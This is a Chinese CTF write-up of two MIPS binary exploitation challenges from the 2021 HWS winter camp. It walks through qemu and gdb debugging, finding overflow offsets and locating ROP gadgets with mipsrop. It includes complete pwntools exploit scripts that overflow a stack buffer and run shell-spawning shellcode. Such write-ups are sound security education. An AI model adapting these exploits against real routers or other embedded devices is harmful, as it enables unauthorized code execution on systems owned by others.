2021HWS冬令营入营赛赛题–Mplogin

32位小端序,并且全红,xuanxuan老师说MIPS不支持NX,去查阅资料,没找到相关的文章,不过在复现RV110W的时候,它确实没有NX…

当然MIPS硬件本身也不支持NX机制

程序就两主要的函数,逻辑也很简单,经典read无截断泄露地址,这个地址是什么地址等下动态的时候在看

第二个函数就存在溢出,人家v2就20字节读了36字节,溢出到v3了都,下一个`read`的时候,就能无限制读,直接覆盖返回地址,劫持控制流,后面还有检查,注意一下就行...

开始调试…和X86不同,异架构的PWN就需要用到远程调试

1
qemu-mipsel -g 1234 -L ./ ./Mplogin

-g :暴露调试端口

-L :在程序寻找动态链接库的时候优先在此目录下寻找

之后,我们就可以再启动一个窗口用gdb-mutilarch连接上我们的qemu暴露的调试接口,连接之后就可以进行调试啦!

1
2
3
4
5
gdb-multiarch
set arch mips
set endian little
target remote :1234
c

0x4008D4处下断点,看看它泄露的地址到底是啥,它因为没有开地址随机化,所以一直都是这个地址,很容易就认出来,可以看到泄露的是栈顶指针

由于MIPS的特殊性,在函数体中$fp$sp是相同的,即都指向栈顶,故这里泄露出的就是main函数进入sub_400840是的栈顶地址

下面测试在第二个函数溢出的偏移,直接发生cyclic(200)的字符,测试出偏移是30(不包括前面的0123456789

1
io.send('0123456789'+cyclic(200))

直接jmp spshellcodesehll一气呵成…

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *

context(arch='mips',endian='little',log_level='debug')
# io = process(["qemu-mipsel","-L","./","./Mplogin"])
io = process(["qemu-mipsel","-g","1234","-L","./","./Mplogin"])
elf = ELF('./Mplogin')


io.recvuntil('Username : ')
io.send('admin'+'a'*19)
io.recvuntil('a'*19)
addr = u32(io.recv(4))
print("[*]addr => "+hex(addr))

io.recvuntil('Pre_Password : ')
io.send('access'+'a'*14+p32(0x100))

io.send('0123456789'.ljust(0x28,'a')+p32(addr)+asm(shellcraft.sh()))

io.interactive()

小问题&&以后要注意的问题:

调试的时候一堆SW是什么鬼???

以后在发送数据的时候千万要注意,换行符对payload的影响…

2021HWS冬令营入营赛赛题–pwn

开了canary,但在实际测试中canary并没有起效,怀疑是qemu本身不支持canary(不太清楚,qemu本身不支持NX是真的)

程序就一个pwn函数,应该就是关键函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
  v6 = (_BYTE *)malloc(0x200);
puts((int)"Enter the group number: ");
if ( !_isoc99_scanf("%d", v18) )
{
printf("Input error!");
exit(-1);
}
if ( !v18[0] || v18[0] >= 0xAu )
{
fwrite("The numbers is illegal! Exit...\n", 1, 32, stderr);
exit(-1);
}
v18[1] = (int)&v3;
v9 = 36;
v10 = 36 * v18[0];
v11 = 36 * v18[0] - 1;
v12 = v4;
memset(v4, 0, 36 * v18[0]);
for ( i = 0; ; ++i )
{
result = i < v18[0];
if ( i >= v18[0] )
break;
v13 = (int *)((char *)v12 + i * v9);
v14 = v13;
memset(v6, 0, 4);
puts((int)"Enter the id and name, separated by `:`, end with `.` . eg => '1:Job.' ");
v15 = read(0, v6, 768);
if ( v13 )
{
v0 = atoi(v6);
*v14 = v0;
v16 = strchr(v6, ':');
for ( j = 0; v6++; ++j )
{
if ( *v6 == '\n' )
{
v5 = v6;
break;
}
}
v17 = &v5[-v16];
if ( !v16 )
{
puts((int)"format error!");
exit(-1);
}
memcpy(v14 + 1, v16 + 1, v17);
}
else
{
printf("Error!");
v14[1] = 'aaa\0';
}
}
return result;
}

很快可以发现溢出点:

1
2
3
4
v6 = (_BYTE *)malloc(0x200);
v15 = read(0, v6, 768);
v17 = &v5[-v16];
memcpy(v14 + 1, v16 + 1, v17);

它先是堆溢出然后再把堆上的内容memcpy到栈上

那接下来就该调试偏移了,cyclic 200发过去,发现覆盖到FP但到不了PC寄存器,只能自己算算偏移

打开栈布局看看

1
paylaod = '1:'+'a'*0x20+'a'*0x70+p32(0xdeadbeef)

可以看到成功的覆盖了返回地址

由于此程序是静态链接的文件,所以暂时不考虑ret2libc,还是ROP+shellcode的组合,通过mipsrop找到可用的gadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
Python>mipsrop.stackfinder()
---------------------------------------------------------------------------------------------------------
| Address | Action | Control Jump |
---------------------------------------------------------------------------------------------------------
| 0x004273C4 | addiu $a2,$sp,0x70+var_C | jalr $s0 |
| 0x0042BCD0 | addiu $a2,$sp,0x88+var_C | jalr $s2 |
| 0x0042FA00 | addiu $v1,$sp,0x138+var_104 | jalr $s1 |
| 0x004491F8 | addiu $a2,$sp,0x44+var_C | jalr $s1 |
| 0x0044931C | addiu $v0,$sp,0x30+var_8 | jalr $s1 |
| 0x00449444 | addiu $a2,$sp,0x44+var_C | jalr $s1 |
| 0x0044AD58 | addiu $a1,$sp,0x60+var_28 | jalr $s4 |
| 0x0044AEFC | addiu $a1,$sp,0x64+var_28 | jalr $s5 |
| 0x0044B154 | addiu $a1,$sp,0x6C+var_38 | jalr $s2 |
| 0x0044B1EC | addiu $v0,$sp,0x6C+var_40 | jalr $s2 |
| 0x0044B3EC | addiu $v0,$sp,0x170+var_130 | jalr $s0 |
| 0x00454E94 | addiu $s7,$sp,0xB8+var_98 | jalr $s3 |
| 0x00465BEC | addiu $a1,$sp,0xC4+var_98 | jalr $s0 |
---------------------------------------------------------------------------------------------------------
Found 13 matching gadgets
Python>mipsrop.find("move $t9,$a2")
---------------------------------------------------------------------------------------------------------
| Address | Action | Control Jump |
---------------------------------------------------------------------------------------------------------
| 0x00421684 | move $t9,$a2 | jr $a2 |
---------------------------------------------------------------------------------------------------------
Found 1 matching gadgets

找到这两个可以用的gadget,第一条是将0x70+var_C加到sp上,var_C只有在程序运行的时候才知道,所以只能动调时候看偏移,加完之后呢,就把它放到$a2当中,然后跳转到s0去执行,第二条呢,就是把$a2放到$t9,再跳转到$a2,我们的目的就是在0x70+var_C上布置我们的shellcode,然后再跳到这上面去执行,但是仔细分析一下会发现,$a2是指向了我们的shellcode,但是却少了$s0$a2的一个桥梁,回顾之前覆盖$ra寄存器的时候,好像把上面的一些寄存器也给覆盖了…

1
0x004273C4  |  addiu $a2,$sp,0x70+var_C                            |  jalr  $s00x00421684  |  move $t9,$a2                                        |  jr    $a2

没错,因为这是寄存器的值再函数开始的时候就入栈了

既然有入栈那必然有出栈

所以我们就能搭建起$s0$a2的桥梁,既是覆盖的时候把$s0覆盖到跳转$a2gadget即可,计算方法:0x90-$ra的偏移+$s0的偏移,并且再跳转$ra寄存器之前,它还清理了栈帧,所以shellcode放在$ra寄存器后的偏移即可,这也解释了之前的一堆sw是什么,这也是MIPS的特性,它并没有pushpop指令,而是通过swlw来实现入栈和出栈

在调试的的时候看到addiu $a2,$sp,0x70+var_C最终变成了addiu $a2,$sp,0x64,所以把shellcode的偏移改成0x64就可以不用靠”nop”滑板指令进行填充

完整exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *

context(arch='mips',endian='big',log_level='debug')
io = process(["qemu-mips","./pwn"])
# io = process(["qemu-mips","-g","1234","./pwn"])
# elf = ELF('./pwn')

ra = 0x004273C4#addiu $a2,$sp,0x70+var_C| jalr $s0
s0 = 0x00421684 #move $t9,$a2| jr $a2
shellcode = asm(shellcraft.sh())

io.sendlineafter("number:","1")
io.recvuntil("Enter the id and name, separated by `:`, end with `.` . eg => '1:Job.' ")
paylaod = '1:'+'a'*0x6c+p32(s0)+'a'*0x20+p32(ra)
paylaod += 'a'*0x60+asm('nop;nop;nop;nop')+shellcode
io.sendline(paylaod)
# pause()
io.interactive()

总结:
原来…ghidra里面的var_C这类参数是已经算好了,我就奇怪,为啥xuanxuan老师的各种参数都没有,我就有,现在就方便多了!

下载地址

补充资料:

MIPS汇编学习